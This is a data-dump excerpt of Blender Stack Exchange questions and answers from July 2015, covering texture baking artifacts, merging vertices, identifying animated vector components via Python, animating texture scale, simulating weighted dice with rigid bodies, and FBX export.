  <row Id="34030" PostTypeId="2" ParentId="34029" CreationDate="2015-07-15T16:42:41.947" Score="1" Body="&lt;p&gt;One cause of these artifacts may be hidden, but &quot;set as to render&quot;, objects. If some of their faces might overlap to your active object during the baking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even your high poly object can cause this if you don't correctly enable the option &quot;bake selected to active&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JPRbbm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vL7K1m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low and highpoly&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jVnAIs.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Object are in the same location, so faces overlap themeselves or are occluded&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oNtMSm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Image above is the baked with with the option disabled&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l54Ne.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is if it is enable. You must select the highpoly, and THEN the lowpoly in order to get this result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone asked for a moon? :-)&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="15140" LastEditDate="2015-07-15T23:25:40.567" LastActivityDate="2015-07-15T23:25:40.567" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34031" PostTypeId="1" AcceptedAnswerId="34033" CreationDate="2015-07-15T16:52:35.347" Score="0" ViewCount="91" Body="&lt;p&gt;I can iterate over animation f-curves of an object and identify animated properties through &lt;code&gt;data_path&lt;/code&gt; attribute:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;o = bpy.data.objects['myObj']&#xA;fcurves = o.animation_data.action.fcurves&#xA;for fc in fcurves:&#xA;    print(fc.data_path)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I also need to distinguish between different vector components for properties like 'rotation_euler'. When all 3 of them are animated they can be identified by their relative order, but I can't find a way to identify individual components when only 1 or 2 of them are animated. How can it be done?&lt;/p&gt;&#xA;" OwnerUserId="3153" LastActivityDate="2015-07-15T17:16:58.877" Title="How to find out what particular vector component is animated?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34032" PostTypeId="2" ParentId="8847" CreationDate="2015-07-15T16:57:55.070" Score="0" Body="&lt;p&gt;On a setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9hkkC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to control the density by adjusting the values on the color ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ldiq5.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-07-15T16:57:55.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34033" PostTypeId="2" ParentId="34031" CreationDate="2015-07-15T17:16:58.877" Score="1" Body="&lt;p&gt;The vector components are accessible through the &lt;code&gt;fc.array_index&lt;/code&gt; value. If you only animate the X and Z components, you'll see that they are still indices 0 and 2, not 0 and 1.&lt;/p&gt;&#xA;" OwnerUserId="894" LastActivityDate="2015-07-15T17:16:58.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34034" PostTypeId="2" ParentId="8847" CreationDate="2015-07-15T17:32:59.387" Score="0" Body="&lt;p&gt;I'm a bit of a noob at volumetric effects, but what I do is by using the Layer Weight node. Here's an example - &#xA;&lt;img src=&quot;https://i.stack.imgur.com/1z8zI.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Here's the node setup - &lt;img src=&quot;https://i.stack.imgur.com/eUvuo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can render your sphere and then a mask so that you can overlay your sphere on top of the glow in the Compositor. Very good for animation since it is authentic in the 3d space&lt;/p&gt;&#xA;" OwnerUserId="3398" LastEditorUserId="3398" LastEditDate="2015-07-15T17:47:52.433" LastActivityDate="2015-07-15T17:47:52.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34035" PostTypeId="2" ParentId="34026" CreationDate="2015-07-15T17:45:52.357" Score="1" Body="&lt;p&gt;I think you need to use 'Snap to face' to place object, and then you could join them into single mesh if you wish.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/20gHe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="241" LastEditDate="2015-07-15T19:48:47.507" LastActivityDate="2015-07-15T19:48:47.507" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34036" PostTypeId="1" CreationDate="2015-07-15T17:52:47.477" Score="1" ViewCount="1642" Body="&lt;p&gt;I want to bake a high poly spaceship to a low poly one in cycles. I do know the procedure(uv map the 2 objects, bake AO on the high poly mesh, select the high poly first, low poly later, then select 'Selected To Active' and press bake.) I have used a Ray distance of .02. But the problem is the low resolution texture I'm getting on the low poly mesh&lt;img src=&quot;https://i.stack.imgur.com/YIrKM.png&quot; alt=&quot;Left:Low Poly, Right:High Poly&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notice the jagged edges on the left ship?&lt;/p&gt;&#xA;&lt;p&gt;The meshes were overlapping, I just seperated them after the bake to take a screenshot. Here is another image of the settings.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7MQOL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;My question  is, how do I generate an even finer high res bake? Is there anything I'm missing out? Or any way to get Anti-aliasing done?(Not even sure if it applies here!)&lt;/p&gt;&#xA;" OwnerUserId="15674" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-10-22T12:40:50.593" Title="Low quality textures being baked to high poly mesh in cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;image&gt;&lt;texture-baking&gt;&lt;antialiasing&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34037" PostTypeId="1" CreationDate="2015-07-15T18:01:22.283" Score="37" ViewCount="246614" Body="&lt;p&gt;I am attempting to create my first 3D character just for practice. Being one of my first 3d models I going through the learning curve needless to say. In doing so I find myself creating many extra vertices. Where we will say 10 vertices on a rounded shape are spaced out on the equator and on the other north pole end of the edges they are very close. The close end could all be one vertex. Is it possible to say merge all points to one point and delete the rest?  &lt;/p&gt;&#xA;" OwnerUserId="15504" LastEditorUserId="72" LastEditDate="2015-07-15T20:23:57.943" LastActivityDate="2021-05-15T15:41:39.610" Title="How to merge vertices in Blender?" Tags="&lt;modeling&gt;&lt;cycles-render-engine&gt;&lt;3d-view&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="34038" PostTypeId="2" ParentId="34037" CreationDate="2015-07-15T18:15:13.207" Score="58" Body="&lt;p&gt;There is a merge tool.&#xA;Select the vertices you want to merge.&#xA;Press &lt;kbd&gt;ALT&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; (or &lt;kbd&gt;M&lt;/kbd&gt; for Blender 2.8)&lt;/p&gt;&#xA;&lt;p&gt;There are a few options:&lt;/p&gt;&#xA;&lt;p&gt;At &lt;strong&gt;First&lt;/strong&gt;, or &lt;strong&gt;Last&lt;/strong&gt; will merge the points depending on the order in which the vertices where selected.&lt;/p&gt;&#xA;&lt;p&gt;At center. will merge the vertices at the center of all selected vertices.&lt;/p&gt;&#xA;&lt;p&gt;At cursor will merge the selected vertices where the 3D cursor is.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vvq6o.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;I recommend you read &lt;strong&gt;&lt;a href=&quot;http://www.blender.org/manual/modeling/meshes/editing/basics/deleting.html?highlight=merge&quot; rel=&quot;nofollow noreferrer&quot;&gt;this page&lt;/a&gt;&lt;/strong&gt; of the blender manual for this and other ways to deal with Deleting and Merging&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="124120" LastEditorDisplayName="user1853" LastEditDate="2021-05-15T15:41:39.610" LastActivityDate="2021-05-15T15:41:39.610" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="34039" PostTypeId="1" CreationDate="2015-07-15T18:23:11.190" Score="0" ViewCount="49" Body="&lt;p&gt;I'm really new to blender and am using it to model and animate for a game i'm currently working on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone please explain how to &quot;properly&quot; animate something in blender.&#xA;What I do is go into the action center click the record button and animate like that. However when I do so I get a whole bunch of junk files. I want just one clean animation with all the movements included. This is more of a nuisance than a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated, thanks.&lt;/p&gt;&#xA;" OwnerUserId="15677" LastActivityDate="2015-07-16T08:24:54.017" Title="Animating Issue" Tags="&lt;animation&gt;&lt;import&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="2" ClosedDate="2015-07-16T06:24:17.160" ContentLicense="CC BY-SA 3.0" />
  <row Id="34040" PostTypeId="2" ParentId="34026" CreationDate="2015-07-15T18:40:27.570" Score="1" Body="&lt;p&gt;If the face on the wing is about the almost exactly the same size, and in almost exactly the same position, snapping one face to another may work as Daniil suggested might work. If the two faces you want to &quot;glue&quot; together are &lt;strong&gt;not&lt;/strong&gt; almost exactly the same size, nor almost exactly in the same position, or the geometry does not work satisfactorily when you try to join them, you will need to add new geometry on the one mesh, or the other, or both. A more exact answer is going to vary depending upon exactly what mesh is to be attached to which other mesh, and at which faces on the respective faces, and perhaps other considerations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on the exact faces to be joined, in some instances the method linked to in cegaton's comment is another way this can be achieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And there may be considerations which make joining the two meshes inadvisable, for example, if the wing needs to be movable relative to the body mesh.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastEditorUserId="3401" LastEditDate="2015-07-15T18:46:20.900" LastActivityDate="2015-07-15T18:46:20.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34041" PostTypeId="1" AcceptedAnswerId="34042" CreationDate="2015-07-15T18:45:34.407" Score="2" ViewCount="314" Body="&lt;p&gt;Is it possible to animate texture scale on an object?&#xA;I have created a node to scale my texture for my object. &#xA;I stretched the object, and to avoid stretching of the texture, I created a node. Now I try to keyframe the Y scale of the texture, without success. &#xA;I clicked i and choose locrotscale, and that didn't do the job. &#xA;What am i missing here? If I can animate the scale of a texture on an object, how do I do so?&lt;/p&gt;&#xA;" OwnerUserId="15535" LastEditorUserId="3401" LastEditDate="2015-07-15T19:01:28.207" LastActivityDate="2015-07-15T19:46:08.877" Title="Is it possible to animate textures scale?" Tags="&lt;texturing&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34042" PostTypeId="2" ParentId="34041" CreationDate="2015-07-15T19:02:43.410" Score="3" Body="&lt;p&gt;Add a mapping node to control your texture node. The scale values can then be animated by adding keyframes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4nioi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for blender internal the same principle applies:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nRcXD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-15T19:46:08.877" LastActivityDate="2015-07-15T19:46:08.877" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="34044" PostTypeId="2" ParentId="34036" CreationDate="2015-07-15T19:09:24.423" Score="2" Body="&lt;p&gt;When you baking something, you have to create new Image in Blender. There is no way to change existing image resolution in Blender, so you should create new one, bigger, put it in appropriate Image Texture node and bake again into new image.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastActivityDate="2015-07-15T19:09:24.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34045" PostTypeId="2" ParentId="10819" CreationDate="2015-07-15T19:22:50.050" Score="3" Body="&lt;p&gt;In windows look for the icon you use to start blender. Right click to bring out the contextual menu, select Properties an in the target path add &lt;strong&gt;-W&lt;/strong&gt; at the end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/F1Wej.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender will open maximized with no borders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(for windows 8 go to the start menu, right click on the blender icon and select &lt;em&gt;Open File Location&lt;/em&gt; That will bring you to the folder where windows stores the shortcut used to open blender. Right click on it to access the properties and edit)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For other options read: &lt;a href=&quot;https://www.blender.org/manual/advanced/command_line.html?highlight=command%20line#window-options&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.blender.org/manual/advanced/command_line.html?highlight=command%20line#window-options&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-07-15T19:36:13.003" LastActivityDate="2015-07-15T19:36:13.003" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34046" PostTypeId="2" ParentId="33962" CreationDate="2015-07-15T19:27:53.103" Score="3" Body="&lt;p&gt;Alternatively I would suggest playing with &lt;a href=&quot;https://github.com/JacquesLucke/animation_nodes&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Animation Nodes&lt;/strong&gt;&lt;/a&gt; Addon for a &lt;strong&gt;procedural animation&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9o02s.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an &lt;a href=&quot;https://www.blender.org/manual/modeling/objects/groups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Object Group&lt;/a&gt; (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;), loop through the desired objects via &lt;em&gt;Group Input&lt;/em&gt; node, add a &lt;em&gt;Random Vector&lt;/em&gt; node to get a &lt;code&gt;random rotation value&lt;/code&gt;, add a &lt;em&gt;Time Info&lt;/em&gt; node and plug the current &lt;code&gt;frame value&lt;/code&gt; into the time input socket of a &lt;em&gt;Animate Vector&lt;/em&gt; node in order to drive the animation:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dRl24.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dRl24.jpg&quot; alt=&quot;enter image description here&quot;&gt; &#xA;&lt;em&gt;Basic node setup (click to enlarge)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MlSD6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/354/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=354&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The node setup above is easily expandable. In this case it probably makes sense rotating each object at a different speed, depending on their individual size. Via &lt;em&gt;Object Info&lt;/em&gt; node it's possible to obtain the &lt;code&gt;scale&lt;/code&gt; of each object, calculate a unique float value from the scale vector and plug the result into the &lt;code&gt;duration value&lt;/code&gt; of the &lt;em&gt;Animate Vector&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7hlK1.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7hlK1.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;em&gt;Different rotation speed based on the scale of each object (click to enlarge)&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HpnUn.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/358/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=358&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-11-13T18:16:44.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34047" PostTypeId="1" AcceptedAnswerId="34048" CreationDate="2015-07-15T19:28:10.747" Score="1" ViewCount="5027" Body="&lt;p&gt;I want to export my mesh as a transparent PNG. I found this &lt;a href=&quot;http://blendmo.blogspot.com/2012/09/export-transparent-png.html&quot; rel=&quot;nofollow&quot;&gt;page&lt;/a&gt; that shows how to do that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But first I need to get to the Render Output panel.  How do I get there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using version 2.72b on Ubuntu.&lt;/p&gt;&#xA;" OwnerUserId="15679" LastEditorUserId="599" LastEditDate="2015-07-15T19:31:38.390" LastActivityDate="2015-07-15T19:31:38.390" Title="How to get to the Render Output Panel" Tags="&lt;interface&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-07-15T22:12:00.643" ContentLicense="CC BY-SA 3.0" />
  <row Id="34048" PostTypeId="2" ParentId="34047" CreationDate="2015-07-15T19:30:56.547" Score="2" Body="&lt;p&gt;It's on the right in the big section called the &lt;em&gt;Properties Editor&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FhHWX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-07-15T19:30:56.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34049" PostTypeId="1" CreationDate="2015-07-15T19:33:43.010" Score="6" ViewCount="1294" Body="&lt;p&gt;I'm looking to create an animation wherein a large number of 6-sided Dice almost all roll with the 1 side facing up.  I'm attempting to do so with Rigid Body Physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first attempt was to move the Origin of each die closer to the 6 Face, thus moving it's center of mass... Unfortunately, this causes a &lt;em&gt;very&lt;/em&gt; unnatural looking rolling animation (it seems to actually roll around a fictional die that &lt;em&gt;is&lt;/em&gt; centered on the Origin, causing it to roll through space or clip into things at times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there's another approach that would allow me to more heavily weight a specific part of an object so that it's more likely to come to a rest with that side facing downward?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that I'm looking to simply simulate &lt;strong&gt;very unlucky&lt;/strong&gt; dice, not to actually simulate the way that weighted dice would actually roll - I'd like the roll to appear natural, but just end on a 1 more often than not.&lt;/p&gt;&#xA;" OwnerUserId="15680" LastEditorUserId="599" LastEditDate="2015-07-15T23:16:40.373" LastActivityDate="2015-07-15T23:16:40.373" Title="Simulating a Weighted Die?" Tags="&lt;physics&gt;&lt;rigid-body-simulation&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34050" PostTypeId="1" CreationDate="2015-07-15T19:33:56.360" Score="2" ViewCount="204" Body="&lt;p&gt;I am using a cycles cage bake for the normal map for a LP hammer. The normal map has some strange shapes for the &quot;nobs&quot; on the top of the hammer.&lt;img src=&quot;https://i.stack.imgur.com/aI7ap.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see the red nobs are mirrored on the other side. And if I turn of the mirror for the render, the nobs come out clean on one side but still weird and distorted on the other? Do the rays go through the object and take the back or what is it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is the link to blend-exhcange: &lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/352/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=352&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3028" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-07-15T19:33:56.360" Title="strange bleedthrough in normal map baking (cycles, cage)" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34051" PostTypeId="2" ParentId="34049" CreationDate="2015-07-15T19:42:05.183" Score="2" Body="&lt;p&gt;If you need dice stopping at specific face, I suggest next: first simulate dice by rigid body object with shape of dice, then link at last frame object &quot;pretty looking dice&quot; to &quot;rigid body&quot;, pointing your side to the ceiling, so it will copy animation, and in the end you will get proper result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also dices usually have beveled edges and vertices, so it would be better to simulate not by cubes, but meshes.&lt;/p&gt;&#xA;" OwnerUserId="1486" LastEditorUserId="1486" LastEditDate="2015-07-15T19:44:19.387" LastActivityDate="2015-07-15T19:44:19.387" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34053" PostTypeId="2" ParentId="34049" CreationDate="2015-07-15T20:10:41.433" Score="12" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By adding an extra rigid body constrained inside the die as a weight, you can do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a small object to act as the weight (e.g. an icosphere) and position it inside the die on the opposite side of the 6. Make it a dynamic rigid body and adjust the mass as needed:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cMH47.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;Fixed&lt;/em&gt; rigid body constraint connecting the weight to the die.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select the weight and then the die (so that the die is &lt;em&gt;active&lt;/em&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;em&gt;Connect&lt;/em&gt; in &lt;em&gt;3D view &gt; Tool Shelf&lt;/em&gt; (&lt;kbd&gt;T&lt;/kbd&gt;) &lt;em&gt;&gt; Rigid Body Tools&lt;/em&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Ensure that the &lt;em&gt;Type&lt;/em&gt; is set to &lt;em&gt;Fixed&lt;/em&gt;:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RShsp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the newly created constraint empty selected, make sure collisions between the weight and the die are disabled:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Slpgd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make a simulation and be amazed as you roll 6 every time ;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IHREp.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;&lt;sub&gt;I know.. I misread your question and thought you wanted &lt;em&gt;lucky&lt;/em&gt; dice, but obviously this technique works for simulating unlucky dice too.&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/353/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=353&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-07-15T20:16:29.923" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34054" PostTypeId="1" AcceptedAnswerId="34061" CreationDate="2015-07-15T20:18:43.437" Score="3" ViewCount="3254" Body="&lt;p&gt;Can I use FFMPEG straight from blender instead of using the available formats and codecs? Can someone show me an alternative for that?&lt;/p&gt;&#xA;" OwnerUserId="15552" LastActivityDate="2015-07-16T00:55:02.053" Title="FFMPEG from Inside Blender" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34055" PostTypeId="2" ParentId="33892" CreationDate="2015-07-15T20:54:52.583" Score="1" Body="&lt;p&gt;You cannot export to left-handed system in Blender (not with default 'orientation toolkit' used by most exporters at least). As @sambler said, this only performs rotations (and uniform scaling).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that switching something as complex as a Blender scene from right to left handed coordinates is a nice little nightmare (think about animations, parenting, etc.), afaik nobody ever seriously worked on this topic so far.&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-07-15T20:54:52.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34056" PostTypeId="1" CreationDate="2015-07-15T21:20:54.917" Score="1" ViewCount="3451" Body="&lt;p&gt;I am new with blender. I have a blender model with animation, when I try to export to FBX, the texture is not exported.&#xA;I tried to use autodesk like a tutorial said but do not work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;does anyone can give a tutorial for FBX or tell me the right answer?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thank you.&lt;/p&gt;&#xA;" OwnerUserId="15682" LastEditorUserId="599" LastEditDate="2015-07-15T22:13:19.007" LastActivityDate="2015-07-16T06:10:47.320" Title="Exporting to FBX doesn't export texture and animation" Tags="&lt;animation&gt;&lt;export&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34057" PostTypeId="2" ParentId="34056" CreationDate="2015-07-15T21:31:33.117" Score="1" Body="&lt;p&gt;Unfortunately, with blender's exportation process, textures and animations are not saved properly, just leaving you with the mesh of a model. However, one exportation process that I do know of that fulfills your needs and is supported by blender is .dae (colada).&lt;/p&gt;&#xA;" OwnerUserId="15157" LastActivityDate="2015-07-15T21:31:33.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34058" PostTypeId="2" ParentId="31710" CreationDate="2015-07-15T23:13:11.307" Score="4" Body="&lt;p&gt;Your problem with the highlited nodes is that the density is affecting the color, but not the density of the volume.  So all areas of the domain are emitting light (at strength &lt;code&gt;1.1&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this simply plug the density into a math multiply node to change the overall strength, then plug that into the emission strength.  You could also put it through a color ramp or RGB curves node first to adjust the falloff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CTBJH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way the areas of the domain with &lt;code&gt;0&lt;/code&gt; density will be emitting &lt;code&gt;0&lt;/code&gt; light as they should.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without density controlling strength:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZB7lx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With above node setup:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MiTV9.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2015-07-16T00:10:24.053" LastActivityDate="2015-07-16T00:10:24.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
